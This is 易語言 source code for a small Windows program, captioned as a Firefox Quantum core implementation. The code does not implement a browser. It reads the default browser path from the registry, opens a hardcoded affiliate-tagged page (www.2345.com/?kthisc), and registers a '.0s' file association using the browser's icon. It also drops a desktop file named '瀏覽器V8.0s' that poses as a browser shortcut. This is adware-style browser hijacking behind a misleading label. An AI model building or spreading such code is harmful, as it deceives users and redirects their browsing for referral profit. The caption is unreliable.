.版本 2
.支持庫 eAPI
.支持庫 spec
.支持庫 shell

.程序集 窗口程序集_啟動窗口

.子程序 __啟動窗口_首次激活
.局部變量 臨時文本, 文本型
.局部變量 當前瀏覽器名, 文本型

‘ 臨時文本 ＝ 取文本註冊項 (1, “http\shell\open\command\”, )
‘ 臨時文本 ＝ 取文本左邊 (臨時文本, 倒找文本 (臨時文本, “.exe”, , 假) － 1)
‘ 臨時文本 ＝ 臨時文本 ＋ “.exe”
‘ 當前瀏覽器名 ＝ 臨時文本
‘ 編輯框1.內容 ＝ 當前瀏覽器名
‘ 編輯框1.內容 ＝ 取文本右邊 (編輯框1.內容, 取文本長度 (編輯框1.內容) － 1)
‘ MainPage ＝ 文本_取出中間文本 (取執行文件名 (), “Huo”, “@”, , )
‘ MainPage ＝ 文本_替換 (MainPage, , , , “-”, “/”, “_”, “?”, , , , )
MainPage ＝ “www.2345.com/?kthisc”
.如果真 (文件是否存在 (“C:\Huo_Lz.ini”) ＝ 真)
_啟動窗口.可視 ＝ 假
打開指定網址 (“http://” ＋ MainPage)
延遲 (5000)
結束 ()
返回 ()
.如果真結束
_啟動窗口.可視 ＝ 假
臨時文本 ＝ 取文本註冊項 (1, “http\shell\open\command\”, )
臨時文本 ＝ 取文本左邊 (臨時文本, 倒找文本 (臨時文本, “.exe”, , 假) － 1)
臨時文本 ＝ 臨時文本 ＋ “.exe”
當前瀏覽器名 ＝ 臨時文本
編輯框1.內容 ＝ 當前瀏覽器名
編輯框1.內容 ＝ 取文本右邊 (編輯框1.內容, 取文本長度 (編輯框1.內容) － 1)
MainBplace ＝ 編輯框1.內容 ‘ 獲取默認瀏覽器路徑，以取得圖標
文件_關聯 (取運行目錄 () ＋ “\” ＋ 取執行文件名 (), “0s”, MainBplace, , )
寫到文件 (取特定目錄 (#系統桌面) ＋ “瀏覽器V8.0s”, 到字節集 (1))

火狐量子核部分易語言代碼實現